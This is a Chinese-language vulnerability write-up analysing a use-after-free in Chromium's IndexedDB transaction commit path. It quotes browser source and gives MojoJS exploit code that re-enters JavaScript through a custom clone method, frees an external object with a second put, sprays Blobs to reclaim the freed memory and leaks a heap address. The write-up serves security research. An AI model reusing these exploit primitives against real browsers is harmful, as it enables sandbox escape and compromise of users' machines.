Root Case

下面我们先来看一下漏洞的产生原理，从补丁开始入手，其中最主要的就是下面这个函数：

  bool IsAcceptingRequests() {
    return !is_commit_pending_ && state_ != COMMITTING && state_ != FINISHED;
  }

补丁在每个DatabaseImpl和TransactionImpl接口中添加了该判断，使得处于COMMITTING和FINISHED状态的transaction无法执行，那么反过来思考就是说在这两个状态下继续进行新的transaction就会导致漏洞的产生。

而对于FINISHED状态，如同字面上的意思它代表结束，并没有什么好入手的点，所以我们更多的把精力放在COMMITTING状态，该状态可以通过IndexedDBTransaction::Commit()和TransactionImpl::Commit()这两个函数来进行设置，这里有一个有趣的调用链：

 IndexedDBTransaction::Commit --> IndexedDBBackingStore::Transaction::CommitPhaseOne --> IndexedDBBackingStore::Transaction::WriteNewBlobs
  }

其中，会调用blob_storage或file_system_access，将提交数据写入磁盘，代码如下：

        case IndexedDBExternalObject::ObjectType::kFile:
        case IndexedDBExternalObject::ObjectType::kBlob: {
          if (entry.size() == 0)
            continue;
          // If this directory creation fails then the WriteBlobToFile call
          // will fail. So there is no need to special-case handle it here.
          base::FilePath path = GetBlobDirectoryNameForKey(
              backing_store_->blob_path_, database_id_, entry.blob_number());
          backing_store_->filesystem_proxy_->CreateDirectory(path);
          // TODO(dmurph): Refactor IndexedDBExternalObject to not use a
          // SharedRemote, so this code can just move the remote, instead of
          // cloning.
          mojo::PendingRemote<blink::mojom::Blob> pending_blob;
          entry.remote()->Clone(pending_blob.InitWithNewPipeAndPassReceiver());

          // Android doesn't seem to consistently be able to set file
          // modification times. The timestamp is not checked during reading
          // on Android either. https://crbug.com/1045488
          absl::optional<base::Time> last_modified;
          blob_storage_context->WriteBlobToFile(
              std::move(pending_blob),
              backing_store_->GetBlobFileName(database_id_,
                                              entry.blob_number()),
              IndexedDBBackingStore::ShouldSyncOnCommit(durability_),
              last_modified, write_result_callback);
          break;
        }
  }

 case IndexedDBExternalObject::ObjectType::kFileSystemAccessHandle: {
          if (!entry.file_system_access_token().empty())
            continue;
          // TODO(dmurph): Refactor IndexedDBExternalObject to not use a
          // SharedRemote, so this code can just move the remote, instead of
          // cloning.
          mojo::PendingRemote<blink::mojom::FileSystemAccessTransferToken>
              token_clone;
          entry.file_system_access_token_remote()->Clone(
              token_clone.InitWithNewPipeAndPassReceiver());
  backing_store_->file_system_access_context_->SerializeHandle(
              std::move(token_clone),
              base::BindOnce(
                  [](base::WeakPtr<Transaction> transaction,
                     IndexedDBExternalObject* object,
                     base::OnceCallback<void(
                         storage::mojom::WriteBlobToFileResult)> callback,
                     const std::vector<uint8_t>& serialized_token) {
                    // |object| is owned by |transaction|, so make sure
                    // |transaction| is still valid before doing anything else.
                    if (!transaction)
                      return;
                    if (serialized_token.empty()) {
                      std::move(callback).Run(
                          storage::mojom::WriteBlobToFileResult::kError);
                      return;
                    }
                    object->set_file_system_access_token(serialized_token);
                    std::move(callback).Run(
                        storage::mojom::WriteBlobToFileResult::kSuccess);
                  },
                  weak_ptr_factory_.GetWeakPtr(), &entry,
                  write_result_callback));
          break;
        }
  }

这里我们重点看一下kFileSystemAccessHandle这种情况，这里我们可以利用Clone来重入js，紧急插入一些基础知识科普，我们先从下面这个例子开始说起，这是一个常见的绑定接口的操作：

var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();
var fileAccessRequest = mojo.makeRequest(fileAccessPtr);
Mojo.bindInterface(blink.mojom.FileSystemAccessTransferToken.name, fileAccessRequest.handle);

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这里画了一个图帮助理解：

fileAccessPtr和fileAccessRequest分别代表interface连接的client端和service端，这里是通过mojo.makeRequest来实现的。

mojo.makeRequest创建一个message pipe，用pipe的一端填充output参数（可以是InterfacePtrInfo或interface pointer）,返回包装在InterfaceRequest实例中的另一端。

  // |output| could be an interface pointer, InterfacePtrInfo or
  // AssociatedInterfacePtrInfo.
  function makeRequest(output) {
    if (output instanceof mojo.AssociatedInterfacePtrInfo) {
      var {handle0, handle1} = internal.createPairPendingAssociation();
      output.interfaceEndpointHandle = handle0;
      output.version = 0;

      return new mojo.AssociatedInterfaceRequest(handle1);
    }

    if (output instanceof mojo.InterfacePtrInfo) {
      var pipe = Mojo.createMessagePipe();
      output.handle = pipe.handle0;
      output.version = 0;

      return new mojo.InterfaceRequest(pipe.handle1);
    }

    var pipe = Mojo.createMessagePipe();
    output.ptr.bind(new mojo.InterfacePtrInfo(pipe.handle0, 0));
    return new mojo.InterfaceRequest(pipe.handle1);
  }

Mojo.bindInterface会调用bindInterface函数

  //third_party/blink/renderer/core/mojo/mojo.cc
// static
void Mojo::bindInterface(ScriptState* script_state,
                         const String& interface_name,
                         MojoHandle* request_handle,
                         const String& scope) {
  std::string name = interface_name.Utf8();
  auto handle =
      mojo::ScopedMessagePipeHandle::From(request_handle->TakeHandle());

  if (scope == "process") {
    Platform::Current()->GetBrowserInterfaceBroker()->GetInterface(
        mojo::GenericPendingReceiver(name, std::move(handle)));
    return;
  }

  ExecutionContext::From(script_state)
      ->GetBrowserInterfaceBroker()
      .GetInterface(name, std::move(handle));
}

通过从render和browser之间已经建立好的BrowserInterfaceBroker来通过GetInterface去调用之前通过map->Add注册好的bind函数，简单来说就是创建对应mojo接口的implement对象，然后和Receiver绑定到一起。 这样就可以通过render的remote来调用browser里的代码了。

那么如何实现重入js呢？

  function FileSystemAccessTransferTokenImpl() {
    this.binding = new mojo.Binding(blink.mojom.FileSystemAccessTransferToken, this);
}
FileSystemAccessTransferTokenImpl.prototype = {
    clone: async (arg0) => {
        // 自定义
    }
};

var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();
var fileAccessImpl = new FileSystemAccessTransferTokenImpl();
var fileAccessRequest = mojo.makeRequest(fileAccessPtr);
fileAccessImpl.binding.bind(fileAccessRequest);

首先需要在render层（也就是js）实现一个fileAccessImpl，之后自定义一个想要的clone方法，再利用mojo.Binding.bind的方法将mojo.makeRequest返回的InterfaceRequest绑定到js实现的fileAccessImpl上。

 // -----------------------------------
  // |request| could be omitted and passed into bind() later.
  //
  // Example:
  //
  //    // FooImpl implements mojom.Foo.
  //    function FooImpl() { ... }
  //    FooImpl.prototype.fooMethod1 = function() { ... }
  //    FooImpl.prototype.fooMethod2 = function() { ... }
  //
  //    var fooPtr = new mojom.FooPtr();
  //    var request = makeRequest(fooPtr);
  //    var binding = new Binding(mojom.Foo, new FooImpl(), request);
  //    fooPtr.fooMethod1();
    function Binding(interfaceType, impl, requestOrHandle) {
    this.interfaceType_ = interfaceType;
    this.impl_ = impl;
    this.router_ = null;
    this.interfaceEndpointClient_ = null;
    this.stub_ = null;

    if (requestOrHandle)
      this.bind(requestOrHandle);
  }

  ......

    Binding.prototype.bind = function(requestOrHandle) {
    this.close();

    var handle = requestOrHandle instanceof mojo.InterfaceRequest ?
        requestOrHandle.handle : requestOrHandle;
    if (!(handle instanceof MojoHandle))
      return;

    this.router_ = new internal.Router(handle);

    this.stub_ = new this.interfaceType_.stubClass(this.impl_);
    this.interfaceEndpointClient_ = new internal.InterfaceEndpointClient(
        this.router_.createLocalEndpointHandle(internal.kPrimaryInterfaceId),
        this.stub_, this.interfaceType_.kVersion);

    this.interfaceEndpointClient_ .setPayloadValidators([
        this.interfaceType_.validateRequest]);
  };

这样就不需要从render发送PendingReceiver给Browser，去调用browser侧的interface implemention，也就变成了从render来调用render里的代码。

之后我们将remote传入external_object

var external_object = new blink.mojom.IDBExternalObject();
external_object.fileSystemAccessToken = fileAccessPtr;

之后在IndexedDBBackingStore::Transaction::WriteNewBlobs中通过entry.file_system_access_token_remote()获取传入的remote，之后调用的clone就会是我们定义的js代码，即实现了重入js。

entry.file_system_access_token_remote()->Clone(
              token_clone.InitWithNewPipeAndPassReceiver());

这里我们定义的clone如下：

            FileSystemAccessTransferTokenImpl.prototype = {
                clone: async (arg0) => {
                    // IndexedDBBackingStore::Transaction::WriteNewBlobs is waiting for writing complete, so we can hookup COMMITTING state_ of transition
                    // replace key/value in object store to delete the external object
                    print("=== clone ===");
                    var value = new blink.mojom.IDBValue();
                    value.bits = [0x41, 0x41, 0x41, 0x41];
                    value.externalObjects = [];
                    var key = new blink.mojom.IDBKey();
                    key.string = new mojoBase.mojom.String16();
                    key.string.data = "key";
                    var mode = blink.mojom.IDBPutMode.AddOrUpdate;
                    var index_keys = [];
                    idbTransactionPtr.put(object_store_id, value, key, mode, index_keys);

                    // commit force put operation
                    idbTransactionPtr.commit(0);

                    for(let i = 0; i < 0x1000; i++){
                        var a=new Blob([heap1]);
                        blob_list.push(a);
                    }
                    done = true; 
                    // get token for file handle, control-flow comeback to callback within cached external object ==> UAF
                    fileAccessHandlePtr.transfer(arg0);
                }
            };

这里有一个需要注意的地方：

  entry.file_system_access_token_remote()->Clone(
              token_clone.InitWithNewPipeAndPassReceiver());

          backing_store_->file_system_access_context_->SerializeHandle

clone在这里是异步调用的，我们需要根据实际情况来确定执行顺序。
下面涉及到uaf的主要成因，将分成三个部分来讲：

1、uaf的成因

external_objects的释放涉及到两次put请求，释放发生在clone重入的第二次put中。
释放external_objects的调用链如下：

TransactionImpl::Put —> IndexedDBDatabase::PutOperation —> IndexedDBBackingStore::PutRecord —> IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded

在TransactionImpl::Put需要注意一下params，他存储了我们传入的object_store_id, value, key, mode, index_keys，几个关键部分的偏移如下：

params->object_store_id  偏移：0x0
params->value  偏移：0x8～0x30
params->key  偏移：0x38

params->value的类型为IndexedDBValue

struct CONTENT_EXPORT IndexedDBValue {
......
  std::string bits;
  std::vector<IndexedDBExternalObject> external_objects;
};

由于我们之后要释放external_object，在这里打了一个log来输出他的地址和大小，这个184也就是之后我们要堆喷的大小。

这个图是clone中第二次调用，在第二次put时我们传入了空的external_object，bits（也就是之后要用到的key）仍与第一次相同

free发生在此处，由于我们第二次传入的externalobject为空，将会走到external_object_change_map.erase，由于两次的object_store_data_key相同，将会把第一次传入的external_object给释放掉。

Status IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded(
    int64_t database_id,
    const std::string& object_store_data_key,
    std::vector<IndexedDBExternalObject>* external_objects) {
  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);

  if (!external_objects || external_objects->empty()) {
    external_object_change_map_.erase(object_store_data_key); //free here!!
    incognito_external_object_map_.erase(object_store_data_key);

    .......
}

class IndexedDBExternalObjectChangeRecord {
    ........

private:
  std::string object_store_data_key_;
  std::vector<IndexedDBExternalObject> external_objects_;
};

调试一下两次PutExternalObjectsIfNeeded，可以看到object_store_data_key是相同的。

2、clone中commit的作用

由于clone是在上次commit中被调用的，此时我们正处于上一个事务的提交过程中，此时只进行put请求的话并不会直接处理该事务，而是会优先处理完上一个操作，可以看下面的图：

而我们的free操作是发生在put中的，如果想要泄漏出token的地址，就需要put先于set_file_system_access_token执行，这里使用了commit来强制提交put，这样相当于put进行了插队，即可实现我们想要的效果。

此时又会产生一个新的问题，在这里再次调用commit不会继续调用clone重入吗？

答案是不会的，让我们来看下面这块代码：

IndexedDBTransaction::RunTasks() {
  .......

  // If there are no pending tasks, we haven't already committed/aborted,
  // and the front-end requested a commit, it is now safe to do so.
  if (!HasPendingTasks() && state_ == STARTED && is_commit_pending_) {
    processing_event_queue_ = false;
    // This can delete |this|.
    leveldb::Status result = Commit(); //IndexedDBTransaction::Commit()
    if (!result.ok())
      return {RunTasksResult::kError, result};
  }

  .......   
}

可以看到只有当state == STARTED的时候才会调用IndexedDBTransaction::Commit，进而去调用
WriteNewBlobs，我们第二次调用commit的时候此时的state已经是COMMITTING了。
第一次commit：

第二次commit：

3、transfer的作用

首先我们先来看这段调用链：

FileSystemAccessManagerImpl::SerializeHandle --> FileSystemAccessManagerImpl::ResolveTransferToken --> FileSystemAccessManagerImpl::DoResolveTransferToken  --> FileSystemAccessManagerImpl::DoResolveTransferToken --> FileSystemAccessManagerImpl::DidResolveForSerializeHandle

可以看到在DoResolveTransferToken调用时需要从transfertokens找到一个token才能最终走到SerializeHandle的回调中

void FileSystemAccessManagerImpl::DoResolveTransferToken(
    mojo::Remote<blink::mojom::FileSystemAccessTransferToken>,
    ResolvedTokenCallback callback,
    const base::UnguessableToken& token) {
  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);

  auto it = transfer_tokens_.find(token);
  if (it == transfer_tokens_.end()) {
    std::move(callback).Run(nullptr);
  } else {
    std::move(callback).Run(it->second.get());
  }
}

所以我们需要在clone中调用fileAccessHandlePtr.transfer(arg0);

void FileSystemAccessManagerImpl::DidResolveForSerializeHandle(
    SerializeHandleCallback callback,
    FileSystemAccessTransferTokenImpl* resolved_token) {
  if (!resolved_token) {
    std::move(callback).Run({});
    return;
  }

  .......

  std::string value;
  bool success = data.SerializeToString(&value);
  DCHECK(success);
  std::vector<uint8_t> result(value.begin(), value.end());
  std::move(callback).Run(result);
}

之后传入DoResolveTransferToken的FileSystemAccessTransferTokenImpl经过处理变为了result，它即object->set_file_system_access_token(serialized_token)中的serialized_token。

    backing_store_->file_system_access_context_->SerializeHandle(
              std::move(token_clone),
              base::BindOnce(
                  [](base::WeakPtr<Transaction> transaction,
                     IndexedDBExternalObject* object,
                     base::OnceCallback<void(
                         storage::mojom::WriteBlobToFileResult)> callback,
                     const std::vector<uint8_t>& serialized_token) {
                    // |object| is owned by |transaction|, so make sure
                    // |transaction| is still valid before doing anything else.
                    if (!transaction)
                      return;
                    if (serialized_token.empty()) {
                      std::move(callback).Run(
                          storage::mojom::WriteBlobToFileResult::kError);
                      return;
                    }
                    object->set_file_system_access_token(serialized_token);
                    std::move(callback).Run(
                        storage::mojom::WriteBlobToFileResult::kSuccess);
                  },
                  weak_ptr_factory_.GetWeakPtr(), &entry,
                  write_result_callback));
          break;

这里需要注意一点：

在SerializeToString序列化的过程中，会计算出一个8字节的内容填充在token的最前面，后续才是我们的file_name，所以在用file_name去控制token大小时需要注意token的大小会大file_name0x8。

小结

上面分了三个部分来讲，下面我们整合一下上面的内容：

• 我们可以使用clone重入js，即可在clone中二次调用put。
• 第二次put中如果传入key相同的空external_object将会释放第一次put的external_object。
• 通过transer将token传入了set_file_system_access_token。
• 通过commit来插队使得PutExternalObjectsIfNeeded先于set_file_system_access_token执行
• 通过blob申请回free掉的external_object，之后set_file_system_access_token将会将token写入我们的blob，之后通过读取blob即可获得token（vector容器）的begin等地址。